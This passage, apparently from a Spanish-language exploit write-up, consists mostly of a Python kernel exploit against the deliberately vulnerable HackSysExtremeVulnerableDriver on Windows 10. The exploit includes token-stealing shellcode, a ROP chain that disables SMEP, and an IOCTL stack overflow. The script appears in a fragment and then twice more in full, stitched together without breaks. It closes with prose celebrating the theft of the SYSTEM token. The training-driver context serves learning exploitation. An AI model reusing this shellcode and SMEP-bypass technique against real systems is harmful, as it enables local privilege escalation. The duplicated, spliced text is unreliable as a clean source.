b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https:
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(SHELLCODE)), # dwSize
c_int(0x3000), # flAllocationType = MEM_COMMIT | MEM_RESERVE
c_int(0x40) # flProtect = PAGE_EXECUTE_READWRITE
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), # Destination
SHELLCODE, # Source
c_int(len(SHELLCODE)) # Length
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) + # pop eax # ret
struct.pack('<L', 0x42424242) + # Padding for ret 8
struct.pack('<L', 0x42424242) + #
struct.pack('<L', 0x000406e9) + # Value to disable SMEP
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) + # mov cr4, eax # ret
struct.pack('<L', RET_PTR) # Pointer to shellcode
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https:
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(SHELLCODE)), # dwSize
c_int(0x3000), # flAllocationType = MEM_COMMIT | MEM_RESERVE
c_int(0x40) # flProtect = PAGE_EXECUTE_READWRITE
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), # Destination
SHELLCODE, # Source
c_int(len(SHELLCODE)) # Length
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) + # pop eax # ret
struct.pack('<L', 0x42424242) + # Padding for ret 8
struct.pack('<L', 0x42424242) + #
struct.pack('<L', 0x000406e9) + # Value to disable SMEP
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) + # mov cr4, eax # ret
struct.pack('<L', RET_PTR) # Pointer to shellcode
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)Y fíjate en esto:

¡Glorioso! Hemos logrado robar el token del proceso SYSTEM y copiarlo a nuestra shell cmd.exe. ¡Ahora tenemos el control total del sistema!
Conclusiones
Resultó interesante robar el token del proceso SYSTEM y transferirlo a nuestro propio proceso padre. Existen muchas otras formas de lograr una escalada de privilegios local, pero este método es uno de los más utilizados, ya que resulta extremadamente fiable, siempre y cuando se logre restaurar la ejecución del kernel.